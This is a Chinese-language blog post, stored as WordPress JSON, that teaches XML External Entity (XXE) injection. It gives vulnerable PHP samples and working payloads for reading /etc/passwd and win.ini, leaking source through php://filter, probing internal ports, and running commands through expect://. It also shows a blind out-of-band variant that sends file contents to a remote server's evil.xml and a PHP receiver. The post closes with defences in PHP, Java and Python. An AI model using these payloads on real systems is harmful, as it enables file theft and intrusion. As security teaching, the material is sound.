{"id":776,"date":"2025-10-24T14:58:34","date_gmt":"2025-10-24T06:58:34","guid":{"rendered":"https:\/\/www.youvii.site\/?p=776"},"modified":"2025-10-24T15:01:02","modified_gmt":"2025-10-24T07:01:02","slug":"xxeloudong","status":"publish","type":"post","link":"https:\/\/www.youvii.site\/index.php\/archives\/xxeloudong","title":{"rendered":"XXE\u6f0f\u6d1e"},"content":{"rendered":"

XXE \u6f0f\u6d1e<\/h1>\n

\u6982\u8ff0<\/h1>\n

XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\uff08XML External Entity\uff09\u7b80\u79f0 XXE \u6f0f\u6d1eXML \u7528\u4e8e\u6807\u8bb0\u7535\u5b50\u6587\u4ef6\u4f7f\u5176\u5177\u6709\u7ed3\u6784\u6027\u7684\u6807\u8bb0\u8bed\u8a00\uff0c\u53ef\u4ee5\u7528\u6765\u6807\u8bb0\u6570\u636e\u3001\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u662f\u4e00\u79cd\u5141\u8bb8\u7528\u6237\u5bf9\u81ea\u5df1\u7684\u6807\u8bb0\u8bed\u8a00\u8fdb\u884c\u5b9a\u4e49\u7684\u6e90\u8bed\u8a00\u3002XML \u6587\u6863\u7ed3\u6784\u5305\u62ec XML \u58f0\u660e\u3001DTD \u6587\u6863\u7c7b\u578b\u5b9a\u4e49\uff08\u53ef\u9009\uff09\u3001\u6587\u6863\u5143\u7d20\u3002<\/p>\n

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\u5e38\u89c1\u7684 XML \u8bed\u6cd5\u7ed3\u6784\u5982\u4e0b<\/h2>\n
<\/p>\n
\u5176\u4e2d\uff0c\u6587\u6863\u5b9a\u4e49\u7c7b\u578b\uff08DTD\uff09\u53ef\u4ee5\u662f\u5185\u90e8\u58f0\u660e\u4e5f\u53ef\u4ee5\u5f15\u7528\u5916\u90e8 DTD\u3002<\/p>\n
\u5185\u90e8\u58f0\u660e DTD \u683c\u5f0f\uff1a<!DOCTYPE \u6839\u5143\u7d20 [\u5143\u7d20\u58f0\u660e]>\u3002<\/p>\n
\u5f15\u7528\u5916\u90e8 DTD \u683c\u5f0f\uff1a<!DOCTYPE \u6839\u5143\u7d20 SYSTEM \u201c\u6587\u4ef6\u540d\u201d>\u3002<\/p>\n
\u5728 DTD \u4e2d\u8fdb\u884c\u5b9e\u4f53\u8bf4\u660e\u65f6\uff0c\u5c06\u4f7f\u7528 ENTITY \u5173\u952e\u5b57\u6765\u58f0\u660e\u3002\u5b9e\u4f53\u662f\u7528\u4e8e\u5b9a\u4e49\u5f15\u7528\u666e\u901a\u6587\u672c\u6216\u7279\u6b8a\u5b57\u7b26\u7684\u5feb\u6377<\/p>\n
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SYSTEM\u3001PUBLIC \u5bf9\u5916\u90e8\u8d44\u6e90\u8fdb\u884c\u7533\u8bf7\u3002<\/p>\n
\u7531\u4e8e xxe \u6f0f\u6d1e\u4e3b\u8981\u662f\u5229\u7528\u4e86 DTD \u5f15\u7528\u5916\u90e8\u5b9e\u4f53\u5bfc\u81f4\u7684\u6f0f\u6d1e\uff0c\u90a3\u4e48\u91cd\u70b9\u770b\u4e0b\u80fd\u5f15\u7528\u54ea\u4e9b\u7c7b\u578b\u7684\u5916\u90e8\u5b9e\u4f53\u3002\u5f53libXML <libxml2.9 \u624d\u4f1a\u9020\u6210\u5916\u90e8\u6ce8\u5165\u6f0f\u6d1e\u3002<\/p>\n
\"1746426666189-59244e49-2fe3-4e38-8f2c-df076ee7ce68.png\"<\/p>\n
\u8bed\u6cd5\u5f15\u7528\u5916\u90e8\u7684\u5b9e\u4f53\uff0c\u800c\u975e\u5185\u90e8\u5b9e\u4f53\uff0c\u90a3\u4e48 URI \u4e2d\u80fd\u5199\u54ea\u4e9b\u7c7b\u578b\u7684\u5916\u90e8\u5b9e\u4f53\u5462\uff1f<\/p>\n
\u4e3b\u8981\u7684\u6709 file\u3001http\u3001https\u3001ftp \u7b49\u7b49\uff0c\u5f53\u7136\u4e0d\u540c\u7684\u7a0b\u5e8f\u652f\u6301\u7684\u4e0d\u4e00\u6837\uff1a<\/p>\n
\"1746426679092-4fe16264-58f7-44b6-a677-e685386f8707.png\"<\/p>\n
XXE\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h1>\n
\u6848\u4f8b1<\/h2>\n
<?php\nif(isset($_POST['submit']) and $_POST['xml'] != null){\n$xml =$_POST['xml'];\n\/\/ $xml = $test;\n$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);\nif($data){\n$html.=\"<pre>{$data}<\/pre>\";\n}else{\n$html.=\"<p>XML \u58f0\u660e\u3001DTD \u6587\u6863\u7c7b\u578b\u5b9a\u4e49\u3001\u6587\u6863\u5143\u7d20\u8fd9\u4e9b\u90fd\u641e\u61c2\u4e86\u5417?<\/p>\";\n}\n}\n?><\/code><\/pre>\n
\u83b7\u53d6 post \u7684 xml \u6587\u4ef6 \u4f20\u9012\u5230 simplexml_load_string \u518d\u8fdb\u884c\u8f93\u51fa\u4f1a\u906d\u6210 xxe \u6ce8\u5165\u6d4b\u8bd5\u7684 payload<\/p>\n
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:\/\/\/etc\/passwd"> ]> &f;<\/x><\/p>\n
\"1746426742860-20ef9144-769a-4f8c-907d-5b54e4f927b5.png\"<\/p>\n
\u6848\u4f8b2<\/h2>\n
<?php\n$string_xml = '<?xml version=\"1.0\"\nencoding=\"utf-8\"?><note><to>George<\/to><from>John<\/from><heading>Reminder<\/heading><body>xml\n\u5b9e\u4f53\u6ce8\u5165<\/body><\/note>';\n$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;\n$data = simplexml_load_string($xml);\necho '<meta charset=\"UTF-8\">';\nprint_r($data);\n?><\/code><\/pre>\n
\u83b7\u53d6 xml \u53d8\u91cf \u521b\u5efa dom \u5bf9\u8c61 \u8f6c\u5165 xml \u8fdb\u884c\u5904\u7406\u8f93\u51fa\u3002<\/p>\n
simplexml_load_string() \u51fd\u6570\u628a XML \u5b57\u7b26\u4e32\u8f7d\u5165\u5bf9\u8c61\u4e2d<\/p>\n
XXE\u6f0f\u6d1e\u653b\u51fb<\/h1>\n
\u6709\u56de\u663e<\/h2>\n
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b "xxe">]>&b;<\/c><\/p>\n
xxe \u6f0f\u6d1e\u5e38\u7528\u5229\u7528<\/h3>\n
1.\u8bfb\u53d6\u654f\u611f\u6587\u4ef6<\/h4>\n
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:\/\/\/etc\/passwd">]>&b;<\/c><\/p>\n
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM<\/p>\n
"file:\/\/\/C:\/Windows\/win.ini">]>&b;<\/c><\/p>\n
url \u7f16\u7801<\/p>\n
\u8bfb\u53d6 windows \u6587\u4ef6<\/p>\n
http:\/\/127.0.0.1\/xxe.php?xml<\/a>=<%3fxml version%3d"1.0"%3f><!DOCTYPE%20 a%20 [<!ENTITY b SYSTEM<\/p>\n
"file%3a%2f%2f%2fC%3a%2fWindows%2fwin.ini">]>%26b%3b<%2fc><\/p>\n
\"1746426852539-89837edd-40cc-454a-ad70-2ce149efe7f4.png\"<\/p>\n
linux \u5c31\u8bfb\u53d6\/etc\/passwd \u6587\u4ef6\u8fdb\u884c\u6d4b\u8bd5<\/p>\n
2.\u4f7f\u7528 php \u4f2a\u534f\u8bae php:\/\/filter \u8bfb\u53d6\u6587\u4ef6<\/h4>\n
<?xml version="1.0" encoding="utf-8"?><\/p>\n
<!DOCTYPE xdsec [<\/p>\n
<!ELEMENT methodname ANY ><\/p>\n
<!ENTITY xxe SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=phpinfo.php" >]><\/p>\n
<\/p>\n
&xxe;<\/methodname><\/p>\n
<\/methodcall><\/p>\n
http:\/\/127.0.0.1\/xxe.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%3f%3e%20%0a%3c%21%44%4f%43%54%59%50%45%20%78%64%73%65%63%20%5b%0a%3c%21%45%4c%45%4d%45%4e%54%20%6d%65%74%68%6f%64%6e%61%6d%65%20%41%4e%59%20%3e%0a%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%70%68%70%69%6e%66%6f%2e%70%68%70%22%20%3e%5d%3e%0a%3c%6d%65%74%68%6f%64%63%61%6c%6c%3e%0a%3c%6d%65%74%68%6f%64%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6d<\/a><\/p>\n
\"1746426891324-521d1252-61ba-4069-adf3-3e80af74cfac.png\"<\/p>\n
3.\u626b\u63cf\u5185\u7f51\u548c\u7aef\u53e3<\/h4>\n
\u901a\u8fc7\u626b\u63cf ip \u548c\u7aef\u53e3\u786e\u5b9a\u5185\u7f51\u673a\u5668\u7684 ip \u548c\u7aef\u53e3\u5f00\u53d1\u60c5\u51b5\uff0c\u8bbf\u95ee\u7aef\u53e3\u4f1a\u83b7\u53d6 baner \u4fe1\u606f<\/p>\n
<?xml version="1.0"?><\/p>\n
<!DOCTYPE ANY [<\/p>\n
<!ENTITY test SYSTEM "http:\/\/127.0.0.1:80<\/a>"><\/p>\n
]><\/p>\n
&test;<\/abc><\/p>\n
http:\/\/127.0.0.1\/xxe.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e<\/a><\/p>\n
\"1746426921077-855e7a4a-cca7-49fa-9447-5da335f46af0.png\"<\/p>\n
4.\u6267\u884c\u547d\u4ee4<\/h4>\n
\u82e5\u5f00\u542f expect \u6269\u5c55<\/p>\n
http:\/\/webpenter.com\/xxe.php?xml<\/a>=<?xml version="1.0"?><\/p>\n
<!DOCTYPE ANY [<\/p>\n
<!ENTITY test SYSTEM "expect:\/\/whoami"><\/p>\n
]><\/p>\n
&test;<\/abc><\/p>\n
\u65e0\u56de\u663e<\/h2>\n
\u79f0\u4e3a blind xxe \u53ef\u4ee5\u4f7f\u7528\u5916\u5e26\u6570\u636e\u901a\u9053 \u63d0\u53d6\u6570\u636e<\/p>\n
<?xml version="1.0"?><\/p>\n
<!DOCTYPE ANY[<\/p>\n
<!ENTITY % file SYSTEM "file:\/\/\/C:\/1.txt"><\/p>\n
<!ENTITY % remote SYSTEM "http:\/\/192.168.0.107\/evil.xml"><\/a><\/p>\n
%remote;<\/p>\n
%all;<\/p>\n
]><\/p>\n
&send;<\/root><\/p>\n
\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a\u7684<\/p>\n
evil.xml \u6587\u4ef6\u5185\u5bb9<\/p>\n
<!ENTITY % all "<!ENTITY send SYSTEM ‘http:\/\/192.168.0.107\/1.php?file=%file<\/a>;’>"><\/p>\n
<?php file_put_contents("1.txt", $_GET[‘file’]); ?><\/p>\n
http:\/\/127.0.0.1\/xxe.php?xml=%3C%3fxml%20version%3d%221.0%22%3f%3E%0A%3C!DOCTYPE%20ANY[%0A%3C!ENTITY%20%25%20file%20SYSTEM%20%22file%3a%2f%2f%2fC%3a%2f1.txt%22%3E%0A%3C!ENTITY%20%25%20emote%20SYSTEM%20%22http%3a%2f%2f192.168.0.146%2fevil.xml%22%3E%0A%25remote%3b%0A%25all%3b%0A]%3E%0A%3Croot%3E%26send%3b%3C%2froot%3E<\/a><\/p>\n
\"1746427003946-1fe592b5-4922-4e5f-8605-f07db4277488.png\"<\/p>\n
\u6587\u4ef6\u5199\u5165\u6210\u529f\u3002\u83b7\u53d6 1.txt \u5185\u5bb9\u3002<\/p>\n
XXE\u9632\u5fa1<\/h1>\n
1.\u4f7f\u7528\u5f00\u53d1\u8bed\u8a00\u63d0\u4f9b\u7684\u7981\u7528\u5916\u90e8\u5b9e\u4f53\u7684\u65b9\u6cd5<\/h2>\n
PHP\uff1a<\/p>\n
libxml_disable_entity_loader(true);<\/p>\n
JAVA:<\/p>\n
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();<\/p>\n
dbf.setExpandEntityReferences(false);<\/p>\n
Python\uff1a<\/p>\n
from lxml import etree<\/p>\n
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))<\/p>\n
2.\u8fc7\u6ee4\u7528\u6237\u63d0\u4ea4\u7684 XML \u6570\u636e<\/h2>\n
\u5173\u952e\u8bcd\uff1a<!DOCTYPE \u548c<!ENTITY\uff0c\u6216\u8005\uff0cSYSTEM \u548c PUBLIC<\/p>\n
3.\u5347\u7ea7 libxml \u7ec4\u4ef6<\/h2>\n
\n
\u66f4\u65b0: 2025-05-05 14:37:42
\n\u539f\u6587: https:\/\/www.yuque.com\/yuhui.net\/network\/rib38l5oock11gm2<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"
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